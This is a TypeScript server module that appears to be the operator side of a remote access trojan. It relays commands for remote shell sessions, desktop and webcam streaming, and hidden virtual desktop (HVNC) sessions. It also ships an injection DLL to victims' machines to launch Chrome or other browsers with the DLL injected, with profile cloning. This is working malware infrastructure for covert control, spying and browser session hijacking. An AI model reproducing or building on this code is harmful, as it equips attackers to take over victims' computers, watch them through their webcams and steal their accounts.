import type { ServerWebSocket } from "bun";
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
import { v4 as uuidv4 } from "uuid";
import { existsSync, readFileSync } from "fs";
import path from "path";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import { resolveRuntimeRoot } from "./runtime-paths";
import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";

// Cache the injection DLL bytes so we read the file only once.
// Sent as raw binary via msgpack — no base64 needed.
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCacheChecked = false;
function getInjectionDllBytes(): Uint8Array | null {
  if (_dllCacheChecked) return _cachedInjectionDll;
  _dllCacheChecked = true;

  const runtimeRoot = resolveRuntimeRoot();
  const candidates = [
    path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
    path.resolve(process.cwd(), "dist-clients", "HVNCInjection.x64.dll"),
    path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
  ];

  for (const dllPath of candidates) {
    if (!existsSync(dllPath)) continue;
    _cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
    logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
    return _cachedInjectionDll;
  }

  logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
  return _cachedInjectionDll;
}

function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
  if (typeof raw === "string") {
    try {
      return JSON.parse(raw);
    } catch {
      return null;
    }
  }
  try {
    const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
    return msgpackDecode(buf);
  } catch {
    return null;
  }
}

function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
  try {
    ws.send(msgpackEncode(payload));
  } catch (err) {
    logger.error("[console] viewer send failed", err);
  }
}

function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array, header?: any): number {
  try {
    const meta = new Uint8Array(8);
    meta[0] = 0x46;
    meta[1] = 0x52;
    meta[2] = 0x4d;
    meta[3] = 1;
    meta[4] = (header?.monitor ?? 0) & 0xff;
    meta[5] = (header?.fps ?? 0) & 0xff;
    const fmt = header?.format === "blocks"
      ? 2
      : header?.format === "blocks_raw"
      ? 3
      : header?.format === "h264"
      ? 4
      : 1;
    meta[6] = fmt;
    meta[7] = 0;

    const buf = new Uint8Array(meta.length + bytes.length);
    buf.set(meta, 0);
    buf.set(bytes, meta.length);
    ws.send(buf);
    metrics.recordBytesSent(buf.length);
    return buf.length;
  } catch (err) {
    logger.error("[rd] viewer frame send failed", err);
    return 0;
  }
}

const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
export const rdStreamingState = new Map<string, {
  isStreaming: boolean;
  display: number;
  quality: number;
  codec: string;
  duplication: boolean;
}>();
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;

function pruneRdInputPending(now = Date.now()) {
  for (const [id, pending] of rdInputPending.entries()) {
    if (now - pending.sentAt > RD_INPUT_TTL_MS) {
      rdInputPending.delete(id);
    }
  }
}

function recordRdInput(commandId: string, clientId: string, kind: string) {
  pruneRdInputPending();
  rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind });
}

export function notifyRdInputLatency(commandId: string) {
  const pending = rdInputPending.get(commandId);
  if (!pending) return;
  rdInputPending.delete(commandId);

  const ms = Date.now() - pending.sentAt;
  for (const session of sessionManager.getRdSessionsForClient(pending.clientId)) {
    safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
  }
}

function logRdSend(header?: any) {
  const now = Date.now();
  if (now - rdSendStats.lastLog < 5000) return;
  const frames = rdSendStats.frames || 1;
  const avgMs = rdSendStats.sendMs / frames;
  const avgBytes = rdSendStats.bytes / frames;
  const fpsAgent = header?.fps ?? "?";
  logger.debug(`[rd] send avg=${avgMs.toFixed(2)}ms size=${Math.round(avgBytes)}B frames=${rdSendStats.frames} agent_fps=${fpsAgent}`);
  rdSendStats.lastLog = now;
  rdSendStats.frames = 0;
  rdSendStats.sendMs = 0;
  rdSendStats.bytes = 0;
}

function sendConsoleCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
  if (!target) return false;
  try {
    target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: uuidv4() }));
    metrics.recordCommand(commandType);
    return true;
  } catch (err) {
    logger.error("[console] send command failed", err);
    return false;
  }
}

function sendDesktopCommandWithId(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>, commandId: string) {
  if (!target) return false;
  try {
    logger.debug(`[rd] send command ${commandType} -> ${target.id}`);
    target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: commandId }));
    metrics.recordCommand(commandType);
    return true;
  } catch (err) {
    logger.error("[rd] send command failed", err);
    return false;
  }
}

export function sendDesktopCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
  return sendDesktopCommandWithId(target, commandType, payload, uuidv4());
}

function startConsoleForViewer(target: ClientInfo | undefined, sessionId: string, cols = 120, rows = 36) {
  return sendConsoleCommand(target, "console_start", { sessionId, cols, rows });
}

export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: string) {
  return sendConsoleCommand(target, "console_stop", { sessionId });
}

export function notifyConsoleClosed(clientId: string, reason: string) {
  for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
    if (session.clientId !== clientId) continue;
    safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
    sessionManager.deleteConsoleSession(sessionId);
  }
}

export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
  const { clientId, sessionId } = ws.data;
  const effectiveSessionId = sessionId || uuidv4();
  ws.data.sessionId = effectiveSessionId;
  const target = clientManager.getClient(clientId);
  const session: ConsoleSession = { id: effectiveSessionId, clientId, viewer: ws, createdAt: Date.now() };
  sessionManager.addConsoleSession(session);
  safeSendViewer(ws, {
    type: "ready",
    sessionId: effectiveSessionId,
    clientId,
    clientOnline: !!target,
    host: target?.host || clientId,
    os: target?.os,
    user: target?.user,
  });
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId: effectiveSessionId });
    return;
  }
  safeSendViewer(ws, { type: "status", status: "connecting", sessionId: effectiveSessionId });
  startConsoleForViewer(target, effectiveSessionId);
}

export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
  const { clientId } = ws.data;
  const sessionId = uuidv4();
  const target = clientManager.getClient(clientId);
  const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
  sessionManager.addRdSession(session);
  safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
    return;
  }
  safeSendViewer(ws, { type: "status", status: "online", sessionId });
}

export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
  for (const session of sessionManager.getRdSessionsForClient(clientId)) {
    safeSendViewer(session.viewer, {
      type: "status",
      status,
      reason,
      sessionId: session.id,
    });
  }
}

export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
  const payload = decodeViewerPayload(raw);
  if (!payload) return;
  if (!payload || typeof payload.type !== "string") return;
  const { clientId } = ws.data;
  const target = clientManager.getClient(clientId);
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline" });
    return;
  }

  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };

  logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
  switch (payload.type) {
    case "desktop_start":
      if (!state.isStreaming) {
        sendDesktopCommand(target, "desktop_start", {});
        state.isStreaming = true;
        rdStreamingState.set(clientId, state);
        logger.debug(`[rd] started streaming for client ${clientId}`);
      } else {
        logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
      }
      break;
    case "desktop_stop":
      sendDesktopCommand(target, "desktop_stop", {});
      if (state.isStreaming) {
        state.isStreaming = false;
        rdStreamingState.set(clientId, state);
        logger.debug(`[rd] stopped streaming for client ${clientId}`);
      } else {
        rdStreamingState.set(clientId, { ...state, isStreaming: false });
        logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
      }
      break;
    case "desktop_select_display": {
      const newDisplay = Number(payload.display) || 0;
      if (state.display !== newDisplay) {
        logger.debug(`[rd] changing display from ${state.display} to ${newDisplay}`);
        sendDesktopCommand(target, "desktop_select_display", { display: newDisplay });
        state.display = newDisplay;
        rdStreamingState.set(clientId, state);
      } else {
        logger.debug(`[rd] ignoring duplicate display select ${newDisplay}`);
      }
      break;
    }
    case "desktop_set_quality": {
      const newQuality = Number(payload.quality) || 90;
      const newCodec = String(payload.codec || "").toLowerCase();
      const reason = typeof payload.reason === "string"
        ? payload.reason.slice(0, 512)
        : "";
      const source = typeof payload.source === "string"
        ? payload.source.slice(0, 128)
        : "";
      if (state.quality !== newQuality || state.codec !== newCodec) {
        sendDesktopCommand(target, "desktop_set_quality", {
          quality: newQuality,
          codec: newCodec,
          ...(reason ? { reason } : {}),
          ...(source ? { source } : {}),
        });
        state.quality = newQuality;
        state.codec = newCodec;
        rdStreamingState.set(clientId, state);
        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
      }
      break;
    }
    case "desktop_enable_mouse":
      sendDesktopCommand(target, "desktop_enable_mouse", { enabled: !!payload.enabled });
      break;
    case "desktop_enable_keyboard":
      sendDesktopCommand(target, "desktop_enable_keyboard", { enabled: !!payload.enabled });
      break;
    case "desktop_enable_cursor":
      sendDesktopCommand(target, "desktop_enable_cursor", { enabled: !!payload.enabled });
      break;
    case "desktop_set_duplication": {
      const enabled = !!payload.enabled;
      if (state.duplication !== enabled) {
        sendDesktopCommand(target, "desktop_set_duplication", { enabled });
        state.duplication = enabled;
        rdStreamingState.set(clientId, state);
        logger.debug(`[rd] set duplication to ${enabled}`);
      }
      break;
    }
    case "mouse_move": {
      if (!state.isStreaming) break;
      const rawX = (payload as any).x;
      const rawY = (payload as any).y;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "mouse_move");
      sendDesktopCommandWithId(target, "desktop_mouse_move", { x: Number(rawX) || 0, y: Number(rawY) || 0 }, commandId);
      break;
    }
    case "mouse_down": {
      if (!state.isStreaming) break;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "mouse_down");
      sendDesktopCommandWithId(target, "desktop_mouse_down", { button: Number(payload.button) || 0 }, commandId);
      break;
    }
    case "mouse_up": {
      if (!state.isStreaming) break;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "mouse_up");
      sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId);
      break;
    }
    case "key_down": {
      if (!state.isStreaming) break;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "key_down");
      sendDesktopCommandWithId(target, "desktop_key_down", { key: payload.key || "", code: payload.code || "" }, commandId);
      break;
    }
    case "key_up": {
      if (!state.isStreaming) break;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "key_up");
      sendDesktopCommandWithId(target, "desktop_key_up", { key: payload.key || "", code: payload.code || "" }, commandId);
      break;
    }
    case "text_input": {
      if (!state.isStreaming) break;
      const commandId = uuidv4();
      recordRdInput(commandId, clientId, "text_input");
      sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
      break;
    }
    default:
      break;
  }
}

function handleRemoteDesktopFrame(payload: any) {
  const clientId = payload.clientId as string;
  const header = payload.header;
  const bytes = payload.data as Uint8Array;
  const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };
  if (!state.isStreaming) {
    rdStreamingState.set(clientId, { ...state, isStreaming: true });
  }
  for (const session of sessionManager.getRdSessionsForClient(clientId)) {
    const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
    const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
    rdSendStats.frames += 1;
    rdSendStats.bytes += sentBytes;
    rdSendStats.sendMs += t1 - t0;
  }
  logRdSend(header);
}

(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
  let sent = false;
  const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
  for (const session of sessionManager.getRdSessionsForClient(clientId)) {
    const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
    const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
    rdSendStats.frames += 1;
    rdSendStats.bytes += sentBytes;
    rdSendStats.sendMs += t1 - t0;
    sent = true;
  }
  logRdSend(header);
  return sent;
};

export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();

export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
  const { clientId } = ws.data;
  const sessionId = uuidv4();
  const target = clientManager.getClient(clientId);
  const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
  sessionManager.addWebcamSession(session);
  safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
    return;
  }
  safeSendViewer(ws, { type: "status", status: "online", sessionId });
  sendDesktopCommand(target, "webcam_list", {});
}

export function handleWebcamDevices(clientId: string, payload: any) {
  for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
    safeSendViewer(session.viewer, payload);
  }
}

export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
  const payload = decodeViewerPayload(raw);
  if (!payload || typeof payload.type !== "string") return;
  const { clientId } = ws.data;
  const target = clientManager.getClient(clientId);
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline" });
    return;
  }

  const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
  switch (payload.type) {
    case "webcam_list":
      sendDesktopCommand(target, "webcam_list", {});
      break;
    case "webcam_select": {
      const index = Math.max(0, Number(payload.index) || 0);
      state.deviceIndex = index;
      webcamStreamingState.set(clientId, state);
      sendDesktopCommand(target, "webcam_select", { index });
      if (state.isStreaming) {
        sendDesktopCommand(target, "webcam_stop", {});
        sendDesktopCommand(target, "webcam_start", {});
      }
      break;
    }
    case "webcam_set_fps": {
      if (state.isStreaming) {
        safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
        break;
      }
      const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
      const useMax = !!payload.useMax;
      state.fps = fps;
      state.useMax = useMax;
      webcamStreamingState.set(clientId, state);
      sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
      break;
    }
    case "webcam_start":
      if (!state.isStreaming) {
        sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
        sendDesktopCommand(target, "webcam_start", {});
        state.isStreaming = true;
        webcamStreamingState.set(clientId, state);
      }
      break;
    case "webcam_stop":
      sendDesktopCommand(target, "webcam_stop", {});
      state.isStreaming = false;
      webcamStreamingState.set(clientId, state);
      break;
    default:
      break;
  }
}

export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
  const { clientId } = ws.data;
  const sessionId = uuidv4();
  const target = clientManager.getClient(clientId);
  const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
  sessionManager.addHvncSession(session);
  safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
    return;
  }
  safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
}

function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
  for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
    safeSendViewer(session.viewer, {
      type: "status",
      status,
      reason,
      sessionId: session.id,
    });
  }
}

export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
  const payload = decodeViewerPayload(raw);
  if (!payload) return;
  if (!payload || typeof payload.type !== "string") return;
  const { clientId } = ws.data;
  const target = clientManager.getClient(clientId);
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline" });
    return;
  }

  const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };

  logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
  switch (payload.type) {
    case "hvnc_start":
      if (!state.isStreaming) {
        sendHVNCCommand(target, "hvnc_start", {});
        state.isStreaming = true;
        hvncStreamingState.set(clientId, state);
        logger.debug(`[hvnc] started streaming for client ${clientId}`);
      } else {
        logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
      }
      break;
    case "hvnc_stop":
      if (state.isStreaming) {
        sendHVNCCommand(target, "hvnc_stop", {});
        state.isStreaming = false;
        hvncStreamingState.set(clientId, state);
        logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
      }
      break;
    case "hvnc_select_display": {
      const newDisplay = Number(payload.display) || 0;
      if (state.display !== newDisplay) {
        logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
        sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
        state.display = newDisplay;
        hvncStreamingState.set(clientId, state);
      } else {
        logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
      }
      break;
    }
    case "hvnc_set_quality": {
      const newQuality = Number(payload.quality) || 90;
      const newCodec = String(payload.codec || "").toLowerCase();
      if (state.quality !== newQuality || state.codec !== newCodec) {
        sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
        state.quality = newQuality;
        state.codec = newCodec;
        hvncStreamingState.set(clientId, state);
        logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
      }
      break;
    }
    case "hvnc_enable_mouse":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
      break;
    case "hvnc_enable_keyboard":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
      break;
    case "hvnc_enable_cursor":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
      break;
    case "hvnc_mouse_move":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
      break;
    case "hvnc_mouse_down":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
        button: Number(payload.button) || 0,
        x: Number(payload.x) || 0,
        y: Number(payload.y) || 0,
      });
      break;
    case "hvnc_mouse_up":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
        button: Number(payload.button) || 0,
        x: Number(payload.x) || 0,
        y: Number(payload.y) || 0,
      });
      break;
    case "hvnc_mouse_wheel":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
      break;
    case "hvnc_key_down":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
      break;
    case "hvnc_key_up":
      if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
      break;
    case "hvnc_start_process":
      sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
      break;
    case "hvnc_start_process_injected": {
      const dllData = getInjectionDllBytes();
      if (!dllData) {
        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
        break;
      }
      sendHVNCCommand(target, "hvnc_start_process_injected", {
        path: String(payload.path || ""),
        search_path: String(payload.search_path || ""),
        replace_path: String(payload.replace_path || ""),
        dll: dllData,
      });
      break;
    }
    case "hvnc_start_chrome_injected": {
      const dllData = getInjectionDllBytes();
      if (!dllData) {
        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
        break;
      }
      sendHVNCCommand(target, "hvnc_start_chrome_injected", {
        path: String(payload.path || ""),
        dll: dllData,
      });
      break;
    }
    case "hvnc_start_browser_injected": {
      const dllData = getInjectionDllBytes();
      if (!dllData) {
        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
        break;
      }
      sendHVNCCommand(target, "hvnc_start_browser_injected", {
        browser: String(payload.browser || ""),
        path: String(payload.path || ""),
        clone: payload.clone !== false,
        dll: dllData,
      });
      break;
    }
    default:
      break;
  }
}

export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) {
  target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
}

(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
  let sent = false;
  for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
    safeSendViewerFrame(session.viewer, bytes, header);
    sent = true;
  }
  return sent;
};

(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
  let sent = false;
  for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
    safeSendViewerFrame(session.viewer, bytes, header);
    sent = true;
  }
  return sent;
};

const textDecoder = new TextDecoder();

export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
  const payload = decodeViewerPayload(raw);
  if (!payload) return;
  if (!payload || typeof payload.type !== "string") {
    return;
  }

  const { clientId, sessionId } = ws.data;
  const target = clientManager.getClient(clientId);
  if (!target) {
    safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
    return;
  }

  switch (payload.type) {
    case "input": {
      const data = typeof payload.data === "string" ? payload.data : "";
      sendConsoleCommand(target, "console_input", { sessionId, data });
      break;
    }
    case "resize": {
      const cols = Number(payload.cols) || 120;
      const rows = Number(payload.rows) || 36;
      sendConsoleCommand(target, "console_resize", { sessionId, cols, rows });
      break;
    }
    case "stop": {
      if (!sessionId) break;
      stopConsoleOnTarget(target, sessionId);
      break;
    }
    default:
      break;
  }
}

export function handleConsoleOutput(payload: any) {
  const sessionId = payload.sessionId as string;
  if (!sessionId) return;
  const session = sessionManager.getConsoleSession(sessionId);
  if (!session) return;
  const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
  safeSendViewer(session.viewer, {
    type: "output",
    sessionId,
    data,
    exitCode: payload.exitCode,
    error: payload.error,
  });
  if (payload.exitCode !== undefined || payload.error) {
    const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`;
    safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
    sessionManager.deleteConsoleSession(sessionId);
  }
}